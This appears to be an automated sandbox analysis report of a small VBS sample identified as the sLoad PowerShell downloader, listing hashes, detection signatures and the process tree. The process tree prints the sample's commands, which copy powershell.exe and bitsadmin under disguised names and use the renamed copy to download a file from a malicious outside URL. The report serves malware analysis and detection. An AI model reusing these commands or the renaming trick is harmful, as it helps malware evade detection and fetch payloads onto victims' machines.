Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/08/2024, 23:12

General

  • Target
    8c5bfc61bb0b20c461496f954bc957fc_JaffaCakes118.vbs
  • Size 7KB
  • Sample240811-26tgkstdlk
  • SHA256 be2f792c44d9e48f90ccb1ff0fe514e28c33de7151631da8d2da8d77dfdbd7ff
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8c5bfc61bb0b20c461496f954bc957fc_JaffaCakes118.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3616
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aPHsl.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\YiEIZyJ*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3704
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aPHsl.exe
        3⤵
          PID:3312
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\YiEIZyJ*.exe
          3⤵
            PID:2308
        • C:\ProgramData\YiEIZyJin.exe
          "C:\ProgramData\YiEIZyJin.exe" /wrap /transfer AKRkDLfa https://fakedepth.com/real/01162660318/dev.txt C:\ProgramData\dev.txt
          2⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:4772

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            YiEIZyJin.exe

            • Path C:\ProgramData\YiEIZyJin.exe
            • Size 182KB
            • SHA256 c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
            • MD5 SHA1 SHA512 SSDEEP